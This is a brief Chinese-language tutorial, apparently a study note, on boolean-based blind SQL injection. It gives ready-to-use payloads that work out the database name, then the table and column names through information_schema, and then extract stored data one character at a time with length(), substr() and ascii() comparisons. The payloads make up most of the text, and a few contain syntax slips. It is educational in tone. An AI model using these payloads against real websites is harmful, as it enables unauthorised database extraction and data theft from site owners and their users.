布尔盲注
页面只回显对错尝试布尔盲注
1.寻找注入点和闭合方式。
方法有很多这里就不赘述。
2.使用方式
曝库
首先得得到库的长度。
and length(database())=3#
length()函数能获取字符串长度。database()则是返回数据库名称。
慢慢修改数字直到回显为true,这样就得到了库的长度。
然后就能曝库名了
and ascii(substr(database(),1,1)) > 90 --+
ascii()可以返回字符的ascii码。
substr(a,b,c)返回字符串从a的b开始往后截取c长度的字符,substr(database(),1,1))截取库的第一个字符。第二个 就是(database(),2,1))
然后就是一个个试了。
曝表
首先得猜测表的数量。
and (select count(table_name) from information_schema.tables where table_schema="库名") = 2 --+
然后是表的长度
and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=1 --+
其余的表也是可以通过这种方式曝的。
然后是表名
and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g'%23
依旧是一个个曝。这里substr是获取字符串从1开始截取1.
曝列
然后是列数了。还得从个数开始。
and(select count(column_name) from information_schema.columns where table_schema='库名' and table_name='表名')=数字--+
接着是列长
and select length(substr((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 列数,1),1))=数字 --+
最后是列名
and ascii(substr((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 列数,1),列名长,1))=数字 --+
曝数据
猜数据长
and length(substr((select 列名 from 表名 limit 列数,1 ),1))=数字#
猜内容
and ascii(substr((select 列名 from 表名 limit 数据个数,1,1),数据名称长度,1))=数字 #